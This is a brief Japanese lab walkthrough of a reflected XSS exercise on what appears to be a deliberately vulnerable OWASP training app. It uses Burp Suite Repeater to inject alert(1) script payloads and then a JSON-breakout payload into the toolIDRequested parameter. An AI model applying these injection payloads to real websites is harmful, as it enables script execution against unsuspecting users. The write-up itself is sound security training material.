Hello there, ('ω')ノ
OWASP 2017 ⇨ A7 ⇨ Reflected(First Order) ⇨ Pen Test Tool Lookupを選択して。

まずは動作確認を。

Burp Suiteでパラメータを確認して。

Responseを見るとRequestの値がそのまま渡されているのでXSSが仕込めそうで。

まずは、『Send to Repeater』で確認を。

下記のようにペイロードを組み込んで『Go』ボタンで実行してみると。
そのままResponseに反映された。
<script>alert(1)</script>

これをそのまま実行するとJSONのエラーらしきものが。

再度、丁寧にレスポンスのコードを書き出して。
SQLインジェクションと同じ要領で、JSONを閉じてスクリプトを実行することに。
var gPenTestToolsJSONString = var gPenTestToolsJSONString =
'{
"query": {
"toolIDRequested": "3<script>alert(1)</script>",
"penTestTools": [
{"tool_id":"3<script>alert(1)</script>",
"tool_name":"Skipfish",
"phase_to_use":"Discovery",
"tool_type":"Scanner",
"comment":"Agressive. Fast. Uses wordlists to brute force directories."
}
]
}
}'
⇩ alertの前でJSONを終了させて、alertのあとはコメントに。
var gPenTestToolsJSONString = var gPenTestToolsJSONString =
'{
"query": {
"toolIDRequested": "3"}};alert(1);//",
最後に『;』 ⇨ 『%3B』にエンコードした下記のペイロードを仕込んで。
"}}%3Balert(1)%3B//

なんだか、JSONのエラーで『)』が漏れているようで。

どこに対しての『)』なのか見つけることができなかったので。
とりあえず、JSONを終わらせる『%3B』の前に追加して再度実行すると。
"}})%3Balert(1)%3B//

スクリプトが実行された。

Best regards, (^^ゞ